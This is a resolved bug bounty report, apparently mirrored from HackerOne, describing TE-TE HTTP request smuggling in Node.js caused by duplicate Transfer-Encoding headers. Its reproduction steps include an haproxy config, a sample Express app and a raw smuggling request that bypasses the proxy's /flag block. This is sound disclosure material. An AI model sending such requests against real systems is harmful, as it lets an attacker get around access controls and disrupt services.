Loading HuntDB...

Potential HTTP Request Smuggling in nodejs

Low
N
Node.js
Submitted None
Reported by piao

Vulnerability Details

Technical details and impact analysis

HTTP Request Smuggling
**Summary:** Potential HTTP Request Smuggling exists in nodejs. Attacker can use two same header field make TE-TE HTTP Request Smuggling attack. **Description:** nodejs allow same header field in a http request. for example, we can send two `Transfer-Encoding` header field, even if one of them is false header field. But nodejs only identify the first header field and ignore the after. This lead to a Potential HTTP Request Smuggling. ## Steps To Reproduce: for example, using haproxy to make TE-TE attack: haproxy 1.5.3 version haproxy.cfg haproxy.cfg forbid access `/flag` URI ``` global daemon maxconn 256 defaults mode http timeout connect 5000ms timeout client 50000ms timeout server 50000ms frontend http-in bind *:80 default_backend servers acl url_403 path_beg -i /flag http-request deny if url_403 backend servers server server1 127.0.0.1:8080 maxconn 32 ``` app.js ``` var express = require('express'); var app = express(); var bodyParser = require('body-parser') app.use(bodyParser()) app.get('/', function (req, res) { res.send('Hello World!'); }); app.get('/flag', function (req, res) { res.send('flag is 1a2b3c4d5e6f'); }); app.post('/', function (req, res) { res.send('Hello World!'); }); app.listen(8080, function () { console.log('Example app listening on port 8080!'); }); ``` use this http request can bypass haproxy `/flag` restrict ``` POST / HTTP/1.1 Host: 127.0.0.1 Transfer-Encoding: chunked Transfer-Encoding: chunked-false 1 A 0 GET /flag HTTP/1.1 Host: 127.0.0.1 foo: x ``` ## Impact: It is possible to smuggle the request and disrupt the user experience. ## Supporting Material/References: N/A ## Impact It is possible to smuggle the request and disrupt the user experience.

Report Details

Additional information and metadata

State

Closed

Substate

Resolved

Bounty

$250.00

Submitted

Weakness

HTTP Request Smuggling